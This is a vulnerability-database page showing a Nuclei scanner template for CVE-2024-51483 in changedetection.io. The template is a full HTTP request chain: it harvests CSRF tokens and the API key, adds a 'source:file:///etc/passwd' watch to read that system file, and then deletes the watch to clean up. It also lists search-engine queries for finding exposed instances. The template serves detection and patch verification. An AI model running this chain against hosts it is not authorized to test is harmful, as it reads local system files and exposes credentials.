Changedetection.io <= 0.47.4 - Path Traversal
| Reporter | Title | Published | Views | Family All 18 |
|---|---|---|---|---|
| cpg-nuclei-compiler | 1 Sep 202623:20 | – | githubexploit | |
| CVE-2024-51483 | 1 Nov 202418:41 | – | circl | |
| changedetection.io security vulnerability | 1 Nov 202400:00 | – | cnnvd | |
| CVE-2024-51483 | 1 Nov 202416:19 | – | cve | |
| CVE-2024-51483 changedetection.io Path Traversal vulnerability | 1 Nov 202416:19 | – | cvelist | |
| changedetection.io Path Traversal | 1 Nov 202421:39 | – | github | |
| CVE-2024-51483 | 1 Nov 202416:19 | – | mend | |
| CVE-2024-51483 | 1 Nov 202417:15 | – | nvd | |
| CVE-2024-51483 changedetection.io Path Traversal vulnerability | 1 Nov 202416:19 | – | osv_cve | |
| GHSA-CWGG-57XJ-G77R changedetection.io Path Traversal | 1 Nov 202421:39 | – | osv_ghsa |
10
id: CVE-2024-51483
info:
name: Changedetection.io <= 0.47.4 - Path Traversal
author: iamnoooob,rootxharsh,pdresearch,Tito0015
severity: medium
description: |
changedetection.io is free, open source web page change detection software. Prior to version 0.47.5, when a WebDriver is used to fetch files, `source-file-///etc/passwd` can be used to retrieve local system files, where the more traditional `file-///etc/passwd` gets blocked. Version 0.47.5 fixes the issue.
impact: |
Attackers can exploit this vulnerability to compromise system security.
remediation: |
Apply security patches to address CVE-2024-51483.
reference:
- https://github.com/advisories/GHSA-cwgg-57xj-g77r
- https://github.com/dgtlmoon/changedetection.io/blob/master/changedetectionio/model/Watch.py#L19
- https://github.com/dgtlmoon/changedetection.io/blob/master/changedetectionio/processors/__init__.py#L35
- https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-cwgg-57xj-g77r
- https://github.com/user-attachments/files/17591630/CL-ChangeDetection.io.Path.Travsersal-311024-181039.pdf
classification:
cve-id: CVE-2024-51483
cwe-id: CWE-22
epss-score: 0.02274
epss-percentile: 0.82824
cpe: cpe:2.3:a:changedetection:changedetection:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 10
vendor: changedetection
product: changedetection
shodan-query: http.title:"change detection"
fofa-query: title="change detection"
google-query: intitle:"change detection"
tags: cve,cve2024,changedetection,lfi,vuln
http:
- raw:
- |
GET /settings HTTP/1.1
Host: {{Hostname}}
extractors:
- type: regex
name: csrf
part: body
group: 1
regex:
- 'name="csrf_token" value="([^"]+)"'
internal: true
- type: regex
name: api_key
part: body
group: 1
regex:
- 'id="api-key">([a-f0-9]+)</span>'
internal: true
- type: regex
name: fetch_backend_orig
part: body
group: 1
regex:
- '<input checked[^>]*name="application-fetch_backend"[^>]*value="([^"]+)"'
internal: true
matchers:
- type: status
status:
- 200
- 302
internal: true
- raw:
- |
POST /settings HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
csrf_token={{csrf}}&requests-time_between_check-weeks=&requests-time_between_check-days=&requests-time_between_check-hours=3&requests-time_between_check-minutes=&requests-time_between_check-seconds=&requests-jitter_seconds=0&application-filter_failure_notification_threshold_attempts=6&application-password=&application-rss_hide_muted_watches=y&application-pager_size=50&application-notification_urls=&application-notification_title=ChangeDetection.io+Notification+-+%7B%7Bwatch_url%7D%7D&application-notification_body=%7B%7Bwatch_url%7D%7D+had+a+change.%0D%0A---%0D%0A%7B%7Bdiff%7D%7D%0D%0A---%0D%0A&application-notification_format=Text&application-base_url=&application-fetch_backend=html_webdriver&application-webdriver_delay=&requests-default_ua-html_requests=Mozilla%2F5.0+%28X11%3B+Linux+x86_64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F87.0.4280.66+Safari%2F537.36&requests-default_ua-html_webdriver=&application-ignore_whitespace=y&application-global_subtractive_selectors=&application-global_ignore_text=&application-api_access_token_enabled=y&requests-extra_proxies-0-proxy_name=&requests-extra_proxies-0-proxy_url=&requests-extra_proxies-1-proxy_name=&requests-extra_proxies-1-proxy_url=&requests-extra_proxies-2-proxy_name=&requests-extra_proxies-2-proxy_url=&requests-extra_proxies-3-proxy_name=&requests-extra_proxies-3-proxy_url=&requests-extra_proxies-4-proxy_name=&requests-extra_proxies-4-proxy_url=&requests-extra_browsers-0-browser_name=&requests-extra_browsers-0-browser_connection_url=&requests-extra_browsers-1-browser_name=&requests-extra_browsers-1-browser_connection_url=&requests-extra_browsers-2-browser_name=&requests-extra_browsers-2-browser_connection_url=&requests-extra_browsers-3-browser_name=&requests-extra_browsers-3-browser_connection_url=&requests-extra_browsers-4-browser_name=&requests-extra_browsers-4-browser_connection_url=&save_button=Save
skip-variables-check: true
matchers:
- type: status
status:
- 200
internal: true
- method: GET
path:
- "{{BaseURL}}/"
extractors:
- type: regex
name: csrf2
part: body
group: 1
regex:
- 'name="csrf_token" value="([^"]+)"'
internal: true
matchers:
- type: status
status:
- 200
- 302
internal: true
- raw:
- |
POST /form/add/quickwatch HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
csrf_token={{csrf2}}&url=source%3Afile%3A%2F%2F%2Fetc%2Fpasswd&tags=&watch_submit_button=Watch&processor=text_json_diff
matchers:
- type: status
status:
- 302
internal: true
- raw:
- |
GET /?{{wait_for(9)}} HTTP/1.1
Host: {{Hostname}}
extractors:
- type: regex
name: uuid
part: body
group: 1
regex:
- 'file:///etc/passwd[\s\S]*?uuid=([a-f0-9-]+)'
internal: true
matchers:
- type: status
status:
- 200
- 302
internal: true
- raw:
- |
GET /api/checknow?uuid={{uuid}} HTTP/1.1
Host: {{Hostname}}
matchers:
- type: status
status:
- 200
- 302
internal: true
- raw:
- |
GET /preview/{{uuid}} HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- "root:x:0"
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200
- raw:
- |
DELETE /api/v1/watch/{{uuid}} HTTP/1.1
Host: {{Hostname}}
x-api-key: {{api_key}}
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "^0$"
- type: word
part: content_type
words:
- "application/json"
- type: status
status:
- 200
- 204
internal: true
# digest: 4a0a004730450221009d31f37b32de9b62b115e6dd89d80f0393eb1d18bbc01109cf51fa9a694a2bd902202af6f6152f33593beaeb5303a196ea73c13b57c80ad1c3d1e3c798a5238369b5:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
04 Feb 2026 07:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 46.9
EPSS0.02274
SSVC